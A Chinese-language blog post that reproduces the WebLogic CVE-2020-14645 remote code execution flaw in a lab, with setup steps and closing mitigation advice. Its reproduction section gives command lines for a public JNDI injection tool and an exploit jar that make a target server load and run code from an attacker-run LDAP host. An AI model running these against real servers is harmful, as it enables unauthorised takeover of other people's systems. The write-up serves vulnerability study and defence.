CVE-2020-14645 Weblogic远程代码执行漏洞复现

漏洞介绍

今日,Oracle官方发布WebLogic安全更新,其中修复了一个CVSS评分为9.8的严重漏洞(CVE-2020-14645),该漏洞通过T3协议进行利用,攻击者可以实现远程代码执行,进而控制服务器。由于漏洞利用复杂度低,风险高,建议尽快修复。

WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。Oracle WebLogic Server存在远程代码执行漏洞。

攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。

构造chain类似于common-collection的chain,可以照葫芦画瓢。

mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。

反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。

影响范围

  • Oracle Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 14.1.1.0.0

环境搭建

WebLogic 12.2.1.4官方下载链接:

1
https://download.oracle.com/otn/nt/middleware/12c/122140/fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip

下载JDK 6u211/7u201/8u191任意版本并配置环境变量

1
2
3
JDK8u191
下载地址:https://pan.baidu.com/s/1cCtSolwsZCmL7xN6orTjTw
提取码:nmi1

用管理员权限打开CMD命令

1
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

全部点击下一步,勾选自主启动配置向导选项

创建新域并勾选所有模板,点击下一步至安装完成

安装成功后,跳到base_domain目录下

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

运行startWebLogic.cmd

可访问7001端口(http://192.168.1.111:7001/console/login/LoginForm.jsp),说明环境部署成功

漏洞复现

JNDI工具下载地址

https://github.com/welk1n/JNDI-Injection-Exploit

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]

使用JNDI工具搭建LDAP和HTTP服务,注意不能占用8180/1099/1389三个端口,修改要执行的命令后回车,会同时启动LDAP/RMI/HTTP三种服务,并且自动编译好带命令的class文件

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.1.236

使用CVE-2020-14645漏洞验证工具

https://github.com/DSO-Lab/Weblogic_CVE-2020-14645

1
java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#Exploit http://192.168.1.111:7001

输入JNDI工具搭建LDAP地址和端口

1
java -jar CVE-2020-14645.jar 192.168.1.236:1389/mcq0vt http://192.168.1.111:7001

输入命令请求LDAP服务,执行自动编译的class文件,成功弹出计算器(失败,无法弹出计算器)

PS:java版本<jdk 6u211/7u201/8u191,我用的是8u191,最后没有复现成功,通过本地测试发现报错如下:

​ 原因是在更高版本的JDK环境中trustURLCodebase变量为false,限制了远程类的加载。

修复建议

1、官方修复方案

Oracle已经发布补丁修复了上述漏洞,请用户参考官方通告及时下载受影响产品更新补丁,并参照补丁安装包中的readme文件进行安装更新,以保证长期有效的防护。

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

2、临时解决方案

用户可通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。操作方法如下:

1. 进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
2. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:
1
2
3
4
127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP * * allow t3 t3s
* * * deny t3 t3s
3. 保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。

3、禁用IIOP协议。

可通过关闭 IIOP 协议对此漏洞进行缓解。操作如下:

  1. 在 Weblogic 控制台中,选择“服务”->”AdminServer”->”协议”,取消“启用 IIOP”的勾选。

  2. 并重启 Weblogic 项目,使配置生效。

文章作者: Ch4ce
文章链接: http://yoursite.com/2020/08/23/weblogic-CVE-2020-14645/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Chaceshadow's Blog